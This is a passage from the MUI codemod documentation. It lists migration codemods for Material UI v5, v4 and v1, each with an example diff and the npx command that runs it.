components.\n\n```diff\n <BadgeUnstyled\n-  components={{ Root, Badge: CustomBadge }}\n-  componentsProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n+  slots={{ root: Root, badge: CustomBadge }}\n+  slotProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n />;\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/base-rename-components-to-slots <path>\n```\n\nThe associated breaking change was done in [#34693](https://github.com/mui/material-ui/pull/34693).\n\n#### `box-borderradius-values`\n\nUpdates the Box API from separate system props to `sx`.\n\n```diff\n-<Box borderRadius=\"borderRadius\">\n-<Box borderRadius={16}>\n+<Box borderRadius={1}>\n+<Box borderRadius=\"16px\">\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/box-borderradius-values <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#box).\n\n#### `box-rename-css`\n\nRenames the Box `css` prop to `sx`\n\n```diff\n-<Box css={{ m: 2 }}>\n+<Box sx={{ m: 2 }}>\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/box-rename-css <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#box).\n\n#### `box-rename-gap`\n\nRenames the Box `grid*Gap` props.\n\n```diff\n-<Box gridGap={2}>Item 3</Box>\n-<Box gridColumnGap={3}>Item 4</Box>\n-<Box gridRowGap={4}>Item 5</Box>\n+<Box gap={2}>Item 3</Box>\n+<Box columnGap={3}>Item 4</Box>\n+<Box rowGap={4}>Item 5</Box>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/box-rename-gap <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#box).\n\n#### `button-color-prop`\n\nRemoves the outdated `color` prop values.\n\n```diff\n-<Button color=\"default\">\n+<Button>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/button-color-prop <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#button).\n\n#### `chip-variant-prop`\n\nRemoves the Chip `variant` prop if the value is `\"default\"`.\n\n```diff\n-<Chip variant=\"default\">\n+<Chip>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/chip-variant-prop <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#chip).\n\n#### `circularprogress-variant`\n\nRenames the CircularProgress `static` variant to `determinate`.\n\n```diff\n-<CircularProgress variant=\"static\" classes={{ static: 'className' }} />\n+<CircularProgress variant=\"determinate\" classes={{ determinate: 'className' }} />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/circularprogress-variant <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#circularprogress).\n\n#### `collapse-rename-collapsedheight`\n\nRenames `Collapse`'s `collapsedHeight` prop to `collapsedSize`.\n\n```diff\n-<Collapse collapsedHeight={40} />\n-<Collapse classes={{ container: 'collapse' }} />\n+<Collapse collapsedSize={40} />\n+<Collapse classes={{ root: 'collapse' }} />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/collapse-rename-collapsedheight <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#collapse).\n\n#### `component-rename-prop`\n\nA generic codemod to rename any component prop.\n\n```diff\n-<Component prop=\"value\" />\n-<Component prop />\n+<Component newProp=\"value\" />\n+<Component newProp />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/component-rename-prop <path> -- --component=Grid --from=prop --to=newProp\n```\n\n#### `core-styles-import`\n\nRenames private import from `core/styles/*` to `core/styles`\n\n```diff\n-import { darken, lighten } from '@material-ui/core/styles/colorManipulator';\n+import { darken, lighten } from '@material-ui/core/styles';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/core-styles-import <path>\n```\n\n#### `create-theme`\n\nRenames the function `createMuiTheme()` to `createTheme()`\n\n```diff\n-import { createMuiTheme } from '@material-ui/core/styles';\n+import { createTheme } from '@material-ui/core/styles';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/create-theme <path>\n```\n\n#### `dialog-props`\n\nRemove `disableBackdropClick` prop from `<Dialog>`\n\n```diff\n-<Dialog disableBackdropClick />\n+<Dialog />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/dialog-props <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#dialog).\n\n#### `dialog-title-props`\n\nRemove `disableTypography` prop from `<DialogTitle>`\n\n```diff\n-<DialogTitle disableTypography />\n+<DialogTitle />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/dialog-title-props <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#dialog).\n\n#### `emotion-prepend-cache`\n\nAdds `prepend: true` to Emotion `createCache`\n\n```diff\n const cache = emotionCreateCache({\n   key: 'css',\n+  prepend: true,\n });\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/create-theme <path>\n```\n\n#### `expansion-panel-component`\n\nRenames `ExpansionPanel*` to `Accordion*`\n\n```bash\nnpx @mui/codemod@next v5.0.0/expansion-panel-component <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#expansionpanel).\n\n#### `fab-variant`\n\n```diff\n-<Fab variant=\"round\" />\n+<Fab variant=\"circular\" />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/fab-variant <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#fab).\n\n#### `fade-rename-alpha`\n\nRenames the `fade` style utility import and calls to `alpha()`.\n\n```diff\n-import { fade, lighten } from '@material-ui/core/styles';\n+import { alpha, lighten } from '@material-ui/core/styles';\n\n-const foo = fade('#aaa');\n+const foo = alpha('#aaa');\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/fade-rename-alpha <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#styles).\n\n#### `grid-justify-justifycontent`\n\nRenames `Grid`'s `justify` prop to `justifyContent`.\n\n```diff\n-<Grid justify=\"left\">Item</Grid>\n+<Grid item justifyContent=\"left\">Item</Grid>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/grid-justify-justifycontent <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#grid).\n\n#### `grid-list-component`\n\nRenames `GridList*` to `ImageList*`\n\n```bash\nnpx @mui/codemod@next v5.0.0/grid-list-component <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#gridlist).\n\n#### `icon-button-size`\n\nAdds `size=\"large\"` if `size` is not defined to get the same appearance as v4.\n\n```diff\n-<IconButton size=\"medium\" />\n-<IconButton />\n+<IconButton size=\"medium\" />\n+<IconButton size=\"large\" />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/icon-button-size <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#iconbutton).\n\n#### `jss-to-styled`\n\nReplace JSS styling with `makeStyles` or `withStyles` to `styled` API.\n\n```diff\n import Typography from '@material-ui/core/Typography';\n-import makeStyles from '@material-ui/styles/makeStyles';\n+import { styled } from '@material-ui/core/styles';\n\n-const useStyles = makeStyles((theme) => ({\n-  root: {\n-    display: 'flex',\n-    alignItems: 'center',\n-    backgroundColor: theme.palette.primary.main\n-  },\n-  cta: {\n-    borderRadius: theme.shape.radius\n-  },\n-  content: {\n-    color: theme.palette.common.white,\n-    fontSize: 16,\n-    lineHeight: 1.7\n-  },\n-}))\n+const PREFIX = 'MyCard';\n+const classes = {\n+  root: `${PREFIX}-root`,\n+  cta: `${PREFIX}-cta`,\n+  content: `${PREFIX}-content`,\n+}\n+const Root = styled('div')((theme) => ({\n+  [`&.${classes.root}`]: {\n+    display: 'flex',\n+    alignItems: 'center',\n+    backgroundColor: theme.palette.primary.main\n+  },\n+  [`& .${classes.cta}`]: {\n+    borderRadius: theme.shape.radius\n+  },\n+  [`& .${classes.content}`]: {\n+    color: theme.palette.common.white,\n+    fontSize: 16,\n+    lineHeight: 1.7\n+  },\n+}))\n\n export const MyCard = () => {\n   const classes = useStyles();\n   return (\n-    <div className={classes.root}>\n+    <Root className={classes.root}>\n       <Typography className={classes.content}>...</Typography>\n       <Button className={classes.cta}>Go</Button>\n-    </div>\n+    </Root>\n   )\n }\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/jss-to-styled <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#1-use-styled-or-sx-api).\n\n> **Note:** This approach converts the first element in the return statement into styled component but also increases CSS specificity to override nested children.\n> This codemod should be adopted after handling all breaking changes, [check out the migration documentation](https://mui.com/material-ui/migration/migration-v4/).\n\n#### `jss-to-tss-react`\n\nMigrate JSS styling with `makeStyles` or `withStyles` to the corresponding `tss-react` API.\n\n```diff\n-import clsx from 'clsx';\n-import {makeStyles, createStyles} from '@material-ui/core/styles';\n+import { makeStyles } from 'tss-react/mui';\n\n-const useStyles = makeStyles((theme) => createStyles<\n-  'root' | 'small' | 'child', {color: 'primary' | 'secondary', padding: number}\n->\n-({\n-  root: ({color, padding}) => ({\n+const useStyles = makeStyles<{color: 'primary' | 'secondary', padding: number}, 'child' | 'small'>({name: 'App'})((theme, { color, padding }, classes) => ({\n+  root: {\n     padding: padding,\n-    '&:hover $child': {\n+    [`&:hover .${classes.child}`]: {\n       backgroundColor: theme.palette[color].main,\n     }\n-  }),\n+  },\n   small: {},\n   child: {\n     border: '1px solid black',\n     height: 50,\n-    '&$small': {\n+    [`&.${classes.small}`]: {\n       height: 30\n     }\n   }\n-}), {name: 'App'});\n+}));\n\n function App({classes: classesProp}: {classes?: any}) {\n-  const classes = useStyles({color: 'primary', padding: 30, classes: classesProp});\n+  const { classes, cx } = useStyles({\n+    color: 'primary',\n+    padding: 30\n+  }, {\n+    props: {\n+      classes: classesProp\n+    }\n+  });\n\n   return (\n     <div className={classes.root}>\n       <div className={classes.child}>\n         The Background take the primary theme color when the mouse hovers the parent.\n       </div>\n-      <div className={clsx(classes.child, classes.small)}>\n+      <div className={cx(classes.child, classes.small)}>\n         The Background take the primary theme color when the mouse hovers the parent.\n         I am smaller than the other child.\n       </div>\n     </div>\n   );\n }\n\n export default App;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/jss-to-tss-react <path>\n```\n\nThe following scenarios are not currently handled by this codemod and will be marked with a\n\"TODO jss-to-tss-react codemod\" comment:\n\n- If the hook returned by `makeStyles` (for example `useStyles`) is exported and used in another file,\n  the usages in other files will not be converted.\n- Arrow functions as the value for a CSS prop will not be converted. Arrow functions **are**\n  supported at the rule level, though with some caveats listed below.\n- In order for arrow functions at the rule level to be converted, the parameter must use object\n  destructuring (for example `root: ({color, padding}) => (...)`). If the parameter is not destructured\n  (for example `root: (props) => (...)`), it will not be converted.\n- If an arrow function at the rule level contains a code block (that is contains an explicit `return`\n  statement) rather than just an object expression, it will not be converted.\n\nYou can find more details about migrating from JSS to tss-react in [the migration guide](https://mui.com/material-ui/migration/migrating-from-jss/#2-use-tss-react).\n\n#### `link-underline-hover`\n\nApply `underline=\"hover\"` to `<Link />` that does not define `underline` prop (to get the same behavior as in v4).\n\n```diff\n-<Link />\n+<Link underline=\"hover\" />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/link-underline-hover <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#link).\n\n#### `material-ui-styles`\n\nMoves JSS imports to `@material-ui/styles`\n\n```diff\n-import {\n-  createGenerateClassName,\n-  createStyles,\n-  jssPreset,\n-  makeStyles,\n-  ServerStyleSheets,\n-  useThemeVariants,\n-  withStyles,\n-  withTheme,\n-  ThemeProvider,\n-  styled,\n-  getStylesCreator,\n-  mergeClasses,\n-} from '@material-ui/core/styles';\n+import { ThemeProvider, styled } from '@material-ui/core/styles';\n+import createGenerateClassName from '@material-ui/styles/createGenerateClassName';\n+import createStyles from '@material-ui/styles/createStyles';\n+import jssPreset from '@material-ui/styles/jssPreset';\n+import makeStyles from '@material-ui/styles/makeStyles';\n+import ServerStyleSheets from '@material-ui/styles/ServerStyleSheets';\n+import useThemeVariants from '@material-ui/styles/useThemeVariants';\n+import withStyles from '@material-ui/styles/withStyles';\n+import withTheme from '@material-ui/styles/withTheme';\n+import getStylesCreator from '@material-ui/styles/getStylesCreator';\n import mergeClasses from '@material-ui/styles/mergeClasses';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/material-ui-styles <path>\n```\n\n#### `material-ui-types`\n\nRenames `Omit` import from `@material-ui/types` to `DistributiveOmit`\n\n```diff\n-import { Omit } from '@material-ui/types';\n+import { DistributiveOmit } from '@material-ui/types';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/material-ui-types <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#material-ui-types).\n\n#### `modal-props`\n\nRemoves `disableBackdropClick` and `onEscapeKeyDown` from `<Modal>`\n\n```diff\n <Modal\n-  disableBackdropClick\n-  onEscapeKeyDown={handleEscapeKeyDown}\n />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/modal-props <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#modal).\n\n#### `moved-lab-modules`\n\nUpdates all imports for `@material-ui/lab` components that have moved to `@material-ui/core`.\n\n```diff\n-import Skeleton from '@material-ui/lab/Skeleton';\n+import Skeleton from '@material-ui/core/Skeleton';\n```\n\nor\n\n```diff\n-import { SpeedDial } from '@material-ui/lab';\n+import { SpeedDial } from '@material-ui/core';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/moved-lab-modules <path>\n```\n\nYou can find more details about this breaking change in the migration guide.\n\n- [Alert](https://mui.com/material-ui/migration/v5-component-changes/#alert)\n- [Autocomplete](https://mui.com/material-ui/migration/v5-component-changes/#autocomplete)\n- [AvatarGroup](https://mui.com/material-ui/migration/v5-component-changes/#avatar)\n- [Pagination](https://mui.com/material-ui/migration/v5-component-changes/#pagination)\n- [Skeleton](https://mui.com/material-ui/migration/v5-component-changes/#skeleton)\n- [SpeedDial](https://mui.com/material-ui/migration/v5-component-changes/#speeddial)\n- [ToggleButton](https://mui.com/material-ui/migration/v5-component-changes/#togglebutton)\n\n#### `pagination-round-circular`\n\nRenames `Pagination*`'s `shape` values from 'round' to 'circular'.\n\n```diff\n-<Pagination shape=\"round\" />\n-<PaginationItem shape=\"round\" />\n+<Pagination shape=\"circular\" />\n+<PaginationItem shape=\"circular\" />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/pagination-round-circular <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#pagination).\n\n#### `path-imports`\n\nConverts all `@mui/material` & `@mui/icons-material` top-level imports to path imports (essentially the reverse of `top-level-imports`, with the addition of `@mui/icons-material`):\n\n```diff\n-import { List, Grid } from '@mui/material';\n+import List from '@mui/material/List';\n+import Grid from '@mui/material/Grid';\n\n-import { Delete, People as PeopleIcon } from '@mui/icons-material';\n+import Delete from '@mui/icons-material/Delete';\n+import PeopleIcon from '@mui/icons-material/People';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/path-imports <path>\n```\n\nHead to https://mui.com/material-ui/guides/minimizing-bundle-size/ to understand when it's useful.\n\n#### `optimal-imports`\n\nFix private import paths.\n\n```diff\n-import red from '@material-ui/core/colors/red';\n-import createTheme from '@material-ui/core/styles/createTheme';\n+import { red } from '@material-ui/core/colors';\n+import { createTheme } from '@material-ui/core/styles';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/optimal-imports <path>\n```\n\n#### `root-ref`\n\nRemoves `RootRef` from the codebase.\n\n```bash\nnpx @mui/codemod@next v5.0.0/root-ref <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#rootref).\n\n#### `skeleton-variant`\n\n```diff\n-<Skeleton variant=\"circle\" />\n-<Skeleton variant=\"rect\" />\n+<Skeleton variant=\"circular\" />\n+<Skeleton variant=\"rectangular\" />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/skeleton-variant <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#skeleton).\n\n#### `styled-engine-provider`\n\nApplies `StyledEngineProvider` to the files that contains `ThemeProvider`.\n\n```bash\nnpx @mui/codemod@next v5.0.0/styled-engine-provider <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-style-changes/#style-library).\n\n#### `table-props`\n\nRenames props in `Table*` components.\n\n```diff\n-<>\n-  <TablePagination onChangeRowsPerPage={() => {}} onChangePage={() => {}} />\n-  <TablePagination classes={{ input: 'foo' }} />\n-  <Table padding=\"default\" />\n-  <TableCell padding=\"default\" />\n-</>\n+<>\n+  <TablePagination onRowsPerPageChange={() => {}} onPageChange={() => {}} />\n+  <TablePagination classes={{ select: 'foo' }} />\n+  <Table padding=\"normal\" />\n+  <TableCell padding=\"normal\" />\n+</>\n\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/table-props <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#table).\n\n#### `tabs-scroll-buttons`\n\nRenames the `Tabs`'s `scrollButtons` prop values.\n\n```diff\n-<Tabs scrollButtons=\"on\" />\n-<Tabs scrollButtons=\"desktop\" />\n-<Tabs scrollButtons=\"off\" />\n+<Tabs scrollButtons allowScrollButtonsMobile />\n+<Tabs scrollButtons />\n+<Tabs scrollButtons={false} />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/tabs-scroll-buttons <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#tabs).\n\n#### `textarea-minmax-rows`\n\nRenames `TextField`'s rows props.\n\n```diff\n-<TextField rowsMin={3} rowsMax={6} />\n-<TextareaAutosize rows={2} />\n-<TextareaAutosize rowsMin={3} rowsMax={6} />\n+<TextField minRows={3} maxRows={6} />\n+<TextareaAutosize minRows={2} />\n+<TextareaAutosize minRows={3} maxRows={6} />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/textarea-minmax-rows <path>\n```\n\nYou can find more details about this breaking change in the migration guide.\n\n- [TextareaAutosize](https://mui.com/material-ui/migration/v5-component-changes/#textareaautoresize)\n- [TextField](https://mui.com/material-ui/migration/v5-component-changes/#textfield)\n\n#### `theme-augment`\n\nAdds `DefaultTheme` module augmentation to TypeScript projects.\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-augment <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#material-ui-styles).\n\n#### `theme-breakpoints`\n\nUpdates breakpoint values to match new logic. ⚠️ This mod is not idempotent, it should be run only once.\n\n```diff\n-theme.breakpoints.down('sm')\n-theme.breakpoints.between('sm', 'md')\n+theme.breakpoints.down('md')\n+theme.breakpoints.between('sm', 'lg')\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-breakpoints <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `theme-breakpoints-width`\n\nRenames `theme.breakpoints.width('md')` to `theme.breakpoints.values.md`.\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-breakpoints-width <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `theme-options`\n\n```diff\n-import { ThemeOptions } from '@material-ui/core';\n+import { DeprecatedThemeOptions } from '@material-ui/core';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-options <path>\n```\n\n#### `theme-palette-mode`\n\nRenames `type` to `mode`.\n\n```diff\n {\n   palette: {\n-    type: 'dark',\n+    mode: 'dark',\n   },\n }\n```\n\n```diff\n-theme.palette.type === 'dark'\n+theme.palette.mode === 'dark'\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-palette-mode <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `theme-provider`\n\nRenames `MuiThemeProvider` to `ThemeProvider`.\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-provider <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#material-ui-core-styles).\n\n#### `theme-spacing`\n\nRemoves the 'px' suffix from some template strings.\n\n```diff\n-`${theme.spacing(2)}px`\n-`${theme.spacing(2)}px ${theme.spacing(4)}px`\n+`${theme.spacing(2)}`\n+`${theme.spacing(2)} ${theme.spacing(4)}`\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-spacing <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `theme-typography-round`\n\nRenames `theme.typography.round($number)` to `Math.round($number * 1e5) / 1e5`.\n\n```diff\n-`${theme.typography.round($number)}`\n+`${Math.round($number * 1e5) / 1e5}`\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/theme-typography-round <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `top-level-imports`\n\nConverts all `@mui/material` submodule imports to the root module:\n\n```diff\n-import List from '@mui/material/List';\n-import Grid from '@mui/material/Grid';\n+import { List, Grid } from '@mui/material';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/top-level-imports <path>\n```\n\nHead to https://mui.com/material-ui/guides/minimizing-bundle-size/ to understand when it's useful.\n\n#### `transitions`\n\nRenames import `transitions` to `createTransitions`\n\n```bash\nnpx @mui/codemod@next v5.0.0/transitions <path>\n```\n\n#### `use-autocomplete`\n\nRenames `useAutocomplete` related import from lab to core\n\n```diff\n-import useAutocomplete from '@material-ui/lab/useAutocomplete';\n+import useAutocomplete from '@material-ui/core/useAutocomplete';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/use-autocomplete <path>\n```\n\n#### `use-transitionprops`\n\nUpdates Dialog, Menu, Popover, and Snackbar to use the `TransitionProps` prop to replace the `onEnter*` and `onExit*` props.\n\n```diff\n <Dialog\n-  onEnter={onEnter}\n-  onEntered={onEntered}\n-  onEntering={onEntering}\n-  onExit={onExit}\n-  onExited={onExited}\n-  onExiting={onExiting}\n+  TransitionProps={{\n+    onEnter,\n+    onEntered,\n+    onEntering,\n+    onExit,\n+    onExited,\n+    onExiting,\n+  }}\n />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/use-transitionprops <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](/material-ui/migration/v5-component-changes/#dialog).\n\n#### `variant-prop`\n\n> Don't run this codemod if you already set `variant` to `outlined` or `filled` in theme default props.\n\nAdds the TextField, Select, and FormControl's `variant=\"standard\"` prop when `variant` is undefined.\nThe diff should look like this:\n\n```diff\n-<TextField value=\"Standard\" />\n+<TextField value=\"Standard\" variant=\"standard\" />\n```\n\n```diff\n-<Select value=\"Standard\" />\n+<Select value=\"Standard\" variant=\"standard\" />\n```\n\n```diff\n-<FormControl value=\"Standard\" />\n+<FormControl value=\"Standard\" variant=\"standard\" />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/variant-prop <path>\n```\n\n#### `with-mobile-dialog`\n\nRemoves imported `withMobileDialog`, and inserts hardcoded version to prevent application crash.\n\n```diff\n-import withMobileDialog from '@material-ui/core/withMobileDialog';\n+// FIXME checkout https://mui.com/material-ui/migration/v5-component-changes/#dialog\n+const withMobileDialog = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"lg\" fullScreen={false} />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/with-mobile-dialog <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#dialog).\n\n#### `with-width`\n\nRemoves `withWidth` import, and inserts hardcoded version to prevent application crash.\n\n```diff\n-import withWidth from '@material-ui/core/withWidth';\n+// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\n+const withWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/with-width <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-style-changes/#material-ui-core-styles).\n\n#### `mui-replace`\n\nReplace every occurrence of `material-ui` related package with the new package names (listed below) except these packages (`@material-ui/pickers`, `@material-ui/data-grid`, `@material-ui/x-grid` & `@material-ui/x-grid-data-generator`). [More details about why package names are changed](https://github.com/mui/material-ui/issues/27666)\n\n**Material Design components**\n\n```diff\n-import Alert from '@material-ui/core/Alert';\n+import Alert from '@mui/material/Alert';\n```\n\n**JSS styles package**\n\n```diff\n-import { makeStyles } from '@material-ui/styles';\n+import { makeStyles } from '@mui/styles';\n```\n\n**System package**\n\n```diff\n-import { SxProps } from '@material-ui/system';\n+import { SxProps } from '@mui/system';\n```\n\n**Utilities package**\n\n```diff\n-import { deepmerge } from '@material-ui/utils';\n+import { deepmerge } from '@mui/utils';\n```\n\n**Lab**\n\n```diff\n-import Mansory from '@material-ui/lab/Mansory';\n+import Mansory from '@mui/lab/Mansory';\n```\n\n**Dependencies**\n\n```diff\n  // package.json\n-\"@material-ui/core\": \"next\",\n-\"@material-ui/icons\": \"next\",\n-\"@material-ui/lab\": \"next\",\n-\"@material-ui/unstyled\": \"next\",\n-\"@material-ui/styled-engine-sc\": \"next\",\n+\"@mui/material\": \"next\",\n+\"@mui/icons-material\": \"next\",\n+\"@mui/lab\": \"next\",\n+\"@mui/base\": \"next\",\n+\"@mui/styled-engine-sc\": \"next\",\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/mui-replace <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/migration-v4/#update-material-ui-version).\n\n### v4.0.0\n\n#### `theme-spacing-api`\n\nUpdates the `theme-spacing-api` from `theme.spacing.unit x` to `theme.spacing(x)`.\nThe diff should look like this:\n\n```diff\n-const spacing = theme.spacing.unit;\n+const spacing = theme.spacing(1);\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v4.0.0/theme-spacing-api <path>\n```\n\nThis codemod tries to perform a basic expression simplification which can be improved for expressions that use more than one operation.\n\n```diff\n-const spacing = theme.spacing.unit / 5;\n+const spacing = theme.spacing(0.2);\n\n // Limitation\n-const spacing = theme.spacing.unit * 5 * 5;\n+const spacing = theme.spacing(5) * 5;\n```\n\n#### `optimal-imports`\n\nConverts all `@material-ui/core` imports more than 1 level deep to the optimal form for tree shaking:\n\n```diff\n-import withStyles from '@material-ui/core/styles/withStyles';\n-import createTheme from '@material-ui/core/styles/createTheme';\n+import { withStyles, createTheme } from '@material-ui/core/styles';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v4.0.0/optimal-imports <path>\n```\n\nHead to https://mui.com/guides/minimizing-bundle-size/ to understand when it's useful.\n\n#### `top-level-imports`\n\nConverts all `@material-ui/core` submodule imports to the root module:\n\n```diff\n-import List from '@material-ui/core/List';\n-import { withStyles } from '@material-ui/core/styles';\n+import { List, withStyles } from '@material-ui/core';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v4.0.0/top-level-imports <path>\n```\n\nHead to https://mui.com/guides/minimizing-bundle-size/ to understand when it's useful.\n\n### v1.0.0\n\n#### `import-path`\n\nUpdates the `import-paths` for the new location of the components.\nMaterial UI v1.0.0 flatten the import paths.\nThe diff should look like this:\n\n```diff\n-import { MenuItem } from '@material-ui/core/Menu';\n+import MenuItem from '@material-ui/core/MenuItem';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v1.0.0/import-path <path>\n```\n\n**Notice**: if you are migrating from pre-v1.0, and your imports use `material-ui`, you will need to manually find and replace all references to `material-ui` in your code to `@material-ui/core`. E.g.:\n\n```diff\n-import Typography from 'material-ui/Typography';\n+import Typography from '@material-ui/core/Typography';\n```\n\nSubsequently, you can run the above `find ...` command to flatten your imports.\n\n#### `color-imports`\n\nUpdates the `color-imports` for the new location of Material UI color palettes.\nThe diff should look like this:\n\n```diff\n-import { blue, teal500 } from 'material-ui/styles/colors';\n+import blue from '@material-ui/core/colors/blue';\n+import teal from '@material-ui/core/colors/teal';\n+const teal500 = teal['500'];\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v1.0.0/color-imports <path>\n```\n\n**additional options**\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v1.0.0/color-imports <path> -- 